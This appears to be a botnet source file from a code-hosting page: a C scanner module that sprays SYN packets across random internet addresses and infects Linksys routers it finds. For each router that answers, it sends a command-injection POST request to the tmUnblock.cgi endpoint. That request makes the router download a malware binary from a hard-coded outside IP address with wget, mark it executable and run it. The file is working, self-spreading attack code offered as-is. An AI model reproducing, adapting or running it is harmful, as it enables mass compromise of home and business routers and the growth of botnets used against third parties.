Path: blob/master/Botnets/Self Reps/LinkSys/linksys.c
5038 views
#ifdef SELFREP1#define _GNU_SOURCE23#ifdef DEBUG4#include <stdio.h>5#endif6#include <unistd.h>7#include <stdlib.h>8#include <sys/socket.h>9#include <arpa/inet.h>10#include <sys/select.h>11#include <sys/types.h>12#include <time.h>13#include <fcntl.h>14#include <signal.h>15#include <errno.h>16#include <string.h>17#include <linux/ip.h>18#include <linux/tcp.h>1920#include "includes.h"21#include "linksys.h"22#include "rand.h"23#include "util.h"24#include "checksum.h"25#include "table.h"2627int linksys_scanner_pid = 0, linksys_rsck = 0, linksys_rsck_out = 0;28char linksys_scanner_rawpkt[sizeof(struct iphdr) + sizeof(struct tcphdr)] = {0};29struct linksys_scanner_connection *conn_table;30uint32_t linksys_fake_time = 0;3132int linksys_recv_strip_null(int sock, void *buf, int len, int flags)33{34int ret = recv(sock, buf, len, flags);3536if(ret > 0)37{38int i = 0;3940for(i = 0; i < ret; i++)41{42if(((char *)buf)[i] == 0x00)43{44((char *)buf)[i] = 'A';45}46}47}4849return ret;50}5152void linksys_scanner_init(void)53{54int i = 0;55uint16_t source_port;56struct iphdr *iph;57struct tcphdr *tcph;5859// Let parent continue on main thread60linksys_scanner_pid = fork();61if(linksys_scanner_pid > 0 || linksys_scanner_pid == -1)62return;6364LOCAL_ADDR = util_local_addr();6566rand_init();67linksys_fake_time = time(NULL);68conn_table = calloc(linksys_SCANNER_MAX_CONNS, sizeof(struct linksys_scanner_connection));69for(i = 0; i < linksys_SCANNER_MAX_CONNS; i++)70{71conn_table[i].state = linksys_SC_CLOSED;72conn_table[i].fd = -1;73}7475// Set up raw socket scanning and payload for ipfire/linksys variant76if((linksys_rsck = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)77{78#ifdef DEBUG79printf("[scanner] failed to initialize raw socket, cannot scan\n");80#endif81exit(0);82}83fcntl(linksys_rsck, F_SETFL, O_NONBLOCK | fcntl(linksys_rsck, F_GETFL, 0));84i = 1;85if(setsockopt(linksys_rsck, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) != 0)86{87#ifdef DEBUG88printf("[scanner] failed to set IP_HDRINCL, cannot scan\n");89#endif90close(linksys_rsck);91exit(0);92}9394do95{96source_port = rand_next() & 0xffff;97}98while(ntohs(source_port) < 1024);99100iph = (struct iphdr *)linksys_scanner_rawpkt;101tcph = (struct tcphdr *)(iph + 1);102103// Set up IPv4 header104iph->ihl = 5;105iph->version = 4;106iph->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr));107iph->id = rand_next();108iph->ttl = 64;109iph->protocol = IPPROTO_TCP;110111// Set up TCP header112tcph->dest = htons(55555);113tcph->source = source_port;114tcph->doff = 5;115tcph->window = rand_next() & 0xffff;116tcph->syn = TRUE;117118#ifdef DEBUG119printf("[scanner_huawei] scanner process initialized. scanning started.\n");120#endif121122// Main logic loop123while(TRUE)124{125fd_set fdset_rd, fdset_wr;126struct linksys_scanner_connection *conn;127struct timeval tim;128int last_avail_conn, last_spew, mfd_rd = 0, mfd_wr = 0, nfds;129130// Spew out SYN to try and get a response131if(linksys_fake_time != last_spew)132{133last_spew = linksys_fake_time;134135for(i = 0; i < linksys_SCANNER_RAW_PPS; i++)136{137struct sockaddr_in paddr = {0};138struct iphdr *iph = (struct iphdr *)linksys_scanner_rawpkt;139struct tcphdr *tcph = (struct tcphdr *)(iph + 1);140141iph->id = rand_next();142iph->saddr = LOCAL_ADDR;143iph->daddr = linksys_get_random_ip();144iph->check = 0;145iph->check = checksum_generic((uint16_t *)iph, sizeof(struct iphdr));146147tcph->dest = htons(55555);148tcph->seq = iph->daddr;149tcph->check = 0;150tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));151152paddr.sin_family = AF_INET;153paddr.sin_addr.s_addr = iph->daddr;154paddr.sin_port = tcph->dest;155156sendto(linksys_rsck, linksys_scanner_rawpkt, sizeof(linksys_scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof(paddr));157}158}159160// Read packets from raw socket to get SYN+ACKs161last_avail_conn = 0;162while(TRUE)163{164int n = 0;165char dgram[1514];166struct iphdr *iph = (struct iphdr *)dgram;167struct tcphdr *tcph = (struct tcphdr *)(iph + 1);168struct linksys_scanner_connection *conn;169170errno = 0;171n = recvfrom(linksys_rsck, dgram, sizeof(dgram), MSG_NOSIGNAL, NULL, NULL);172if(n <= 0 || errno == EAGAIN || errno == EWOULDBLOCK)173break;174175if(n < sizeof(struct iphdr) + sizeof(struct tcphdr))176continue;177if(iph->daddr != LOCAL_ADDR)178continue;179if(iph->protocol != IPPROTO_TCP)180continue;181if(tcph->source != htons(55555))182continue;183if(tcph->dest != source_port)184continue;185if(!tcph->syn)186continue;187if(!tcph->ack)188continue;189if(tcph->rst)190continue;191if(tcph->fin)192continue;193if(htonl(ntohl(tcph->ack_seq) - 1) != iph->saddr)194continue;195196conn = NULL;197for(n = last_avail_conn; n < linksys_SCANNER_MAX_CONNS; n++)198{199if(conn_table[n].state == linksys_SC_CLOSED)200{201conn = &conn_table[n];202last_avail_conn = n;203break;204}205}206207// If there were no slots, then no point reading any more208if(conn == NULL)209break;210211conn->dst_addr = iph->saddr;212conn->dst_port = tcph->source;213linksys_setup_connection(conn);214}215216FD_ZERO(&fdset_rd);217FD_ZERO(&fdset_wr);218219for(i = 0; i < linksys_SCANNER_MAX_CONNS; i++)220{221int timeout = 5;222223conn = &conn_table[i];224//timeout = (conn->state > linksys_SC_CONNECTING ? 30 : 5);225226if(conn->state != linksys_SC_CLOSED && (linksys_fake_time - conn->last_recv) > timeout)227{228close(conn->fd);229conn->fd = -1;230conn->state = linksys_SC_CLOSED;231util_zero(conn->rdbuf, sizeof(conn->rdbuf));232233continue;234}235236if(conn->state == linksys_SC_CONNECTING || conn->state == linksys_SC_EXPLOIT_STAGE2 || conn->state == linksys_SC_EXPLOIT_STAGE3)237{238FD_SET(conn->fd, &fdset_wr);239if(conn->fd > mfd_wr)240mfd_wr = conn->fd;241}242else if(conn->state != linksys_SC_CLOSED)243{244FD_SET(conn->fd, &fdset_rd);245if(conn->fd > mfd_rd)246mfd_rd = conn->fd;247}248}249250tim.tv_usec = 0;251tim.tv_sec = 1;252nfds = select(1 + (mfd_wr > mfd_rd ? mfd_wr : mfd_rd), &fdset_rd, &fdset_wr, NULL, &tim);253linksys_fake_time = time(NULL);254255for(i = 0; i < linksys_SCANNER_MAX_CONNS; i++)256{257conn = &conn_table[i];258259if(conn->fd == -1)260continue;261262if(FD_ISSET(conn->fd, &fdset_wr))263{264int err = 0, ret = 0;265socklen_t err_len = sizeof(err);266267ret = getsockopt(conn->fd, SOL_SOCKET, SO_ERROR, &err, &err_len);268if(err == 0 && ret == 0)269{270if(conn->state == linksys_SC_EXPLOIT_STAGE2)271{272#ifdef DEBUG273printf("[scanner] FD%d sending payload\n", conn->fd);274#endif275276util_strcpy(conn->payload_buf, "POST /tmUnblock.cgi HTTP/1.1\r\nHost: 127.0.0.1:80\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: /\r\nUser-Agent: r00ts3c-owned-you\r\nContent-Length: 227\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F188.166.2.226%2Fvb%2Fzen.mpsl%3B+chmod+777+zen.mpsl%3B+.%2FAres.mpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1");277278send(conn->fd, conn->payload_buf, util_strlen(conn->payload_buf), MSG_NOSIGNAL);279util_zero(conn->payload_buf, sizeof(conn->payload_buf));280util_zero(conn->rdbuf, sizeof(conn->rdbuf));281282283close(conn->fd);284linksys_setup_connection(conn);285conn->state = linksys_SC_EXPLOIT_STAGE3;286287continue;288}289else if(conn->state == linksys_SC_EXPLOIT_STAGE3)290{291#ifdef DEBUG292printf("[scanner] FD%d finnished\n", conn->fd);293#endif294295close(conn->fd);296conn->fd = -1;297conn->state = linksys_SC_CLOSED;298299continue;300}301else302{303#ifdef DEBUG304printf("[scanner] FD%d connected to %d.%d.%d.%d\n", conn->fd, conn->dst_addr & 0xff, (conn->dst_addr >> 8) & 0xff, (conn->dst_addr >> 16) & 0xff, (conn->dst_addr >> 24) & 0xff);305#endif306307conn->state = linksys_SC_EXPLOIT_STAGE2;308}309}310else311{312close(conn->fd);313conn->fd = -1;314conn->state = linksys_SC_CLOSED;315316continue;317}318}319320if(FD_ISSET(conn->fd, &fdset_rd))321{322while(TRUE)323{324int ret = 0;325326if(conn->state == linksys_SC_CLOSED)327break;328329if(conn->rdbuf_pos == linksys_SCANNER_RDBUF_SIZE)330{331memmove(conn->rdbuf, conn->rdbuf + linksys_SCANNER_HACK_DRAIN, linksys_SCANNER_RDBUF_SIZE - linksys_SCANNER_HACK_DRAIN);332conn->rdbuf_pos -= linksys_SCANNER_HACK_DRAIN;333}334335errno = 0;336ret = linksys_recv_strip_null(conn->fd, conn->rdbuf + conn->rdbuf_pos, linksys_SCANNER_RDBUF_SIZE - conn->rdbuf_pos, MSG_NOSIGNAL);337if(ret == 0)338{339errno = ECONNRESET;340ret = -1;341}342if(ret == -1)343{344if(errno != EAGAIN && errno != EWOULDBLOCK)345{346if(conn->state == linksys_SC_EXPLOIT_STAGE2)347{348close(conn->fd);349linksys_setup_connection(conn);350continue;351}352353close(conn->fd);354conn->fd = -1;355conn->state = linksys_SC_CLOSED;356util_zero(conn->rdbuf, sizeof(conn->rdbuf));357}358break;359}360361conn->rdbuf_pos += ret;362conn->last_recv = linksys_fake_time;363364int len = util_strlen(conn->rdbuf);365conn->rdbuf[len] = 0;366}367}368}369}370}371372void linksys_scanner_kill(void)373{374kill(linksys_scanner_pid, 9);375}376377static void linksys_setup_connection(struct linksys_scanner_connection *conn)378{379struct sockaddr_in addr = {0};380381if(conn->fd != -1)382close(conn->fd);383384if((conn->fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)385{386return;387}388389conn->rdbuf_pos = 0;390util_zero(conn->rdbuf, sizeof(conn->rdbuf));391392fcntl(conn->fd, F_SETFL, O_NONBLOCK | fcntl(conn->fd, F_GETFL, 0));393394addr.sin_family = AF_INET;395addr.sin_addr.s_addr = conn->dst_addr;396addr.sin_port = conn->dst_port;397398conn->last_recv = linksys_fake_time;399400if(conn->state == linksys_SC_EXPLOIT_STAGE2 || conn->state == linksys_SC_EXPLOIT_STAGE3)401{402}403else404{405conn->state = linksys_SC_CONNECTING;406}407408connect(conn->fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in));409}410411static ipv4_t linksys_get_random_ip(void)412{413uint32_t tmp;414uint8_t o1 = 0, o2 = 0, o3 = 0, o4 = 0;415416do417{418tmp = rand_next();419420o1 = tmp & 0xff;421o2 = (tmp >> 8) & 0xff;422o3 = (tmp >> 16) & 0xff;423o4 = (tmp >> 24) & 0xff;424}425while(o1 == 127 || // 127.0.0.0/8 - Loopback426(o1 == 0) || // 0.0.0.0/8 - Invalid address space427(o1 == 3) || // 3.0.0.0/8 - General Electric Company428(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company429(o1 == 56) || // 56.0.0.0/8 - US Postal Service430(o1 == 10) || // 10.0.0.0/8 - Internal network431(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network432(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network433(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved434(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved435(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use436(o1 >= 224) || // 224.*.*.*+ - Multicast437(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense438);439440int randnum = rand() % 3;441if (randnum == 0)442{443return INET_ADDR(172,o2,o3,o4);444}445if (randnum == 1)446{447return INET_ADDR(98,o2,o3,o4);448}449if (randnum == 2)450{451return INET_ADDR(184,o2,o3,o4);452}453if (randnum == 3)454{455return INET_ADDR(70,o2,o3,o4);456}457if (randnum == 4)458{459return INET_ADDR(o1,o2,o3,o4);460}461}462463#endif464465466